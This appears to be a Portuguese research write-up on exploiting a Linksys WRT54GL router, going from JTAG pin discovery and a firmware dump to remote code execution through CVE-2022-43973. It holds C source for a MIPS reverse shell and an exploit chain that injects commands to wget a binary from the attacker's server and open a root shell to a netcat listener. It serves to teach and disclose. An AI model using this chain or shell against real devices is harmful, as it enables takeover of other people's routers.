
Da Solda ao Shell: Exploração Completa de Hardware do Roteador Linksys WRT54GL (CVE-2022-43973)
Uma jornada de pesquisa em segurança embarcada em 10 fases — desde a descoberta dos pinos JTAG até a execução remota de código em um roteador consumidor baseado em MIPS.
| Autor | Umberto Della Monica |
| Função | Estudante de Mestrado em Cibersegurança — Pesquisador de Segurança Embarcada |
| Data | Maio de 2026 |
| Repositório | Linksys-WRT54GL-Exploitation |
Aviso: Esta pesquisa foi conduzida apenas para fins educacionais e de pesquisa em hardware que possuo pessoalmente. Nenhum sistema não autorizado foi acessado. Todas as técnicas descritas aqui devem ser reproduzidas apenas em dispositivos que você possui ou para os quais tenha autorização explícita por escrito para testar. O autor não assume nenhuma responsabilidade por qualquer uso indevido das informações apresentadas. Sempre cumpra as leis, regulamentos e práticas de divulgação responsável aplicáveis.
O Linksys WRT54GL é um dos roteadores consumidores mais icônicos já produzidos. Seu suporte a firmware de código aberto o tornou um favorito entre entusiastas e pesquisadores. Apesar de sua idade, ele permanece em uso ativo em todo o mundo, tornando-se um alvo relevante para pesquisas em segurança embarcada.
O primeiro passo em qualquer avaliação de segurança de hardware é a inspeção física. Após abrir o gabinete do dispositivo, identifiquei duas interfaces de depuração na placa de circuito impresso (PCB):
Como o conector JTAG não estava populado, soldei um conector de pinos temporário para acessar a interface de depuração. Usando um multímetro, identifiquei as linhas de terra (GND) e Vcc e confirmei que o alvo opera em níveis lógicos de 3,3V — crítico para evitar danos ao chipset.
Para mapear os sinais JTAG, usei um JTAGulator da Grand Idea Studio — uma ferramenta de hardware projetada para identificar automaticamente interfaces de depuração testando todas as combinações possíveis de pinos.
O JTAGulator identificou com sucesso a seguinte pinagem JTAG:
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Conector JP3 — lógica de 3,3V verificada."
Com os pinos JTAG identificados, conectei um Attify Badge — uma ferramenta de código aberto para avaliação de segurança de hardware (GNU GPL v3.0) com chip FTDI FT2232H — ao conector JTAG do roteador.
Iniciei o OpenOCD (Open On-Chip Debugger) com uma configuração customizada para o alvo BCM5352, já que as configurações oficiais eram incompatíveis com esta revisão específica de hardware.
A configuração customizada do OpenOCD define o layout das partições da flash do roteador:
Após parar a CPU, realizei um dump completo de 4 MB da flash NOR mapeada em memória:
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
Usando o binwalk, analisei o dump do firmware para identificar sistemas de arquivos embutidos, segmentos compactados e a imagem do kernel:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # análise de entropia
sha256sum ./dumps/wrt54gl.bin # verificação de integridade
A análise revelou um sistema de arquivos SquashFS contendo um ambiente Linux padrão baseado em BusyBox. Extraí-o usando binwalk -e e unsquashfs para inspeção mais aprofundada.
Para criar um ambiente de teste seguro, configurei a emulação de firmware usando o FirmAE — um framework automatizado de emulação de firmware que suporta arquiteturas MIPS. Isso me permitiu reproduzir os serviços do roteador (HTTP, telnet) em um ambiente virtual e testar explorações sem risco para o dispositivo físico.
Usando o Ghidra (framework de engenharia reversa da NSA) com o plugin de descompilação MIPS, realizei análise estática nos binários extraídos do firmware para confirmar a presença da CVE-2022-43973.
A vulnerabilidade existe no manipulador de requisições CGI do roteador. O campo de formulário ui_language no endpoint /apply.cgi aceita entrada arbitrária sem sanitização. Ao injetar comandos shell encapsulados na sintaxe ;cmd;, um atacante pode preparar comandos que são subsequentemente executados quando uma atualização de firmware é acionada via /upgrade.cgi.
Versões de firmware afetadas:
Desenvolvi um reverse shell customizado em C, projetado especificamente para a arquitetura MIPS do roteador. O payload estabelece uma conexão TCP de volta para o atacante, redireciona todos os descritores de arquivo padrão para o soquete e inicia um shell interativo:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redireciona stdin
dup2(sockt, 1); // redireciona stdout
dup2(sockt, 2); // redireciona stderr
execve("/bin/sh", sh_argv, NULL);
Para compilar o payload para a arquitetura alvo, construí um ambiente Docker reproduzível contendo a toolchain de cross-compilação Broadcom MIPS (hndtools-mipsel-linux-3.2.3), obtida a partir da versão oficial GPL da Linksys (WRT54GL-ETSI_v4.30.18.006):
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Dentro do contêiner:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
O binário resultante é vinculado estaticamente para portabilidade — sem dependências de bibliotecas compartilhadas no alvo.
Desenvolvi um framework de exploit em Python que automatiza toda a cadeia de ataque, aproveitando a CVE-2022-43973. O exploit executa uma sequência de 4 etapas, cada uma injetada como um comando via o parâmetro ui_language:
wget para baixar o binário do reverse shell MIPS do servidor HTTP do atacante para /tmp/X no roteadorchmod +x /tmp/X para tornar o binário executável/tmp/X <ip_atacante> <porta> para lançar o reverse shellui_language para seu valor padrão (en)Cada comando é encapsulado como ;cmd; no campo ui_language e enviado via POST /apply.cgi. Um POST /upgrade.cgi subsequente aciona a execução.
Na máquina do atacante, são necessários três terminais:
# Terminal 1: Servir o binário do reverse shell
python -m http.server 8000
# Terminal 2: Ouvir o reverse shell de entrada
nc -lvnp 4141
# Terminal 3: Lançar o exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
O reverse shell se conecta de volta ao listener Netcat do atacante, fornecendo um shell root interativo no roteador.
Para validar toda a cadeia de exploração, capturei o tráfego de rede com o Wireshark durante o ataque. A análise confirmou:
/apply.cgi e /upgrade.cgiwget do servidor HTTP do atacanteAcesso físico é um vetor de ataque poderoso. O JTAG fornece acesso de hardware em nível root que contorna todos os mecanismos de segurança de software. Organizações que implantam dispositivos embarcados devem considerar controles de segurança física e desabilitar interfaces de depuração em firmware de produção.
Extração de firmware é fundamental. Despejar e analisar o firmware revela toda a pilha de software — incluindo credenciais codificadas, dados de configuração e caminhos de código vulneráveis que são invisíveis de uma perspectiva apenas de rede.
Emulação permite pesquisa segura e repetível. Ferramentas como FirmAE permitem que pesquisadores reproduzam o comportamento do dispositivo em um ambiente virtual, permitindo testes iterativos sem arriscar hardware físico ou desencadear consequências indesejadas.
Falhas simples de validação de entrada têm impacto crítico. A CVE-2022-43973 demonstra como um único campo de formulário não sanitizado em uma interface web pode levar ao comprometimento total do dispositivo com acesso root. Defesa em profundidade — validação de entrada, privilégio mínimo e práticas de codificação segura — permanece essencial.
Toolchains reproduzíveis são importantes. Ambientes de cross-compilação baseados em Docker garantem que payloads e ferramentas possam ser reconstruídos de forma confiável, tornando os resultados da pesquisa verificáveis e compartilháveis.
Dispositivos legados representam risco contínuo. O WRT54GL permanece em uso ativo globalmente. Dispositivos no fim de vida útil que não recebem mais atualizações de segurança representam uma ameaça persistente à segurança de rede.
Para detalhes técnicos aprofundados, consulte os seguintes documentos:
| Documento | Descrição |
|---|---|
| Inventário de Hardware |
Este projeto está licenciado sob a Licença MIT — veja o arquivo LICENSE para detalhes.
Se reproduzir esquemas do Attify ou JTAGulator, siga suas respectivas licenças (GNU GPL v3.0 para componentes Attify).
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| Especificação | Valor |
|---|
| Chipset | Broadcom BCM5352 |
| Clock da CPU | 200 MHz |
| Arquitetura | MIPS 32 bits (Little Endian) |
| Memória Flash | 4 MB NOR (mapeada em memória em 0xbfc00000) |
| RAM | 16 MB |
| Sem fio | IEEE 802.11b/g, 54 Mbps |
| Rede | 4x LAN + 1x WAN, firewall NAT com SPI |
| SO | Baseado em Linux (BusyBox) |
| Bootloader | CFE (Common Firmware Environment) |
| Partição | Descrição | Endereço Inicial | Tamanho |
|---|
| CFE | Bootloader | 0xbfc00000 | 256 KB |
| Firmware | Kernel + Root FS | 0xbfc40000 | ~3,7 MB |
| NVRAM | Configuração | 0xbfff0000 | 64 KB |
| Campo | Valor |
|---|
| CVE ID | CVE-2022-43973 |
| Tipo | Execução Remota de Código (RCE) |
| Vetor de Ataque | Requisição HTTP autenticada |
| Causa Raiz | Injeção de comandos via parâmetro ui_language não sanitizado |
| Endpoint | POST /apply.cgi |
| Gatilho | POST /upgrade.cgi (atualização de firmware) |
| Impacto | Execução completa de comandos em nível root |
| Categoria | Ferramenta | Propósito | Referência |
|---|
| Hardware | Attify Badge | Adaptador de interface JTAG/UART | docs.attify.com (GNU GPL v3.0) |
| Hardware | JTAGulator | Descoberta automatizada de pinos de depuração | Grand Idea Studio |
| Software | OpenOCD | Depuração JTAG e acesso à flash | openocd.org |
| Software | Ghidra | Análise estática e descompilação | ghidra-sre.org (NSA) |
| Software | binwalk | Análise e extração de firmware | ReFirmLabs |
| Software | FirmAE | Emulação de firmware (MIPS) | GitHub |
| Software | Firmadyne | Análise dinâmica de firmware | GitHub |
| Software | Docker | Ambiente de construção reproduzível | docker.com |
| Toolchain | hndtools-mipsel-linux | Cross-compilador Broadcom MIPS | Lançamento GPL da Linksys |
| Software | Python 3 | Framework de automação de exploits | python.org |
| Software | Wireshark | Análise de tráfego de rede | wireshark.org |
| Padrão | IEEE 1149.1 | Padrão de varredura de limite JTAG | IEEE |
| Especificações do dispositivo, pinagens, datasheets e ferramentas de hardware |
| Pilha de Software | Configuração do Docker, configuração do OpenOCD, detalhes da toolchain e solução de problemas |
| Procedimento de Exploração | Fluxo de trabalho passo a passo em 10 fases com comandos e capturas de tela |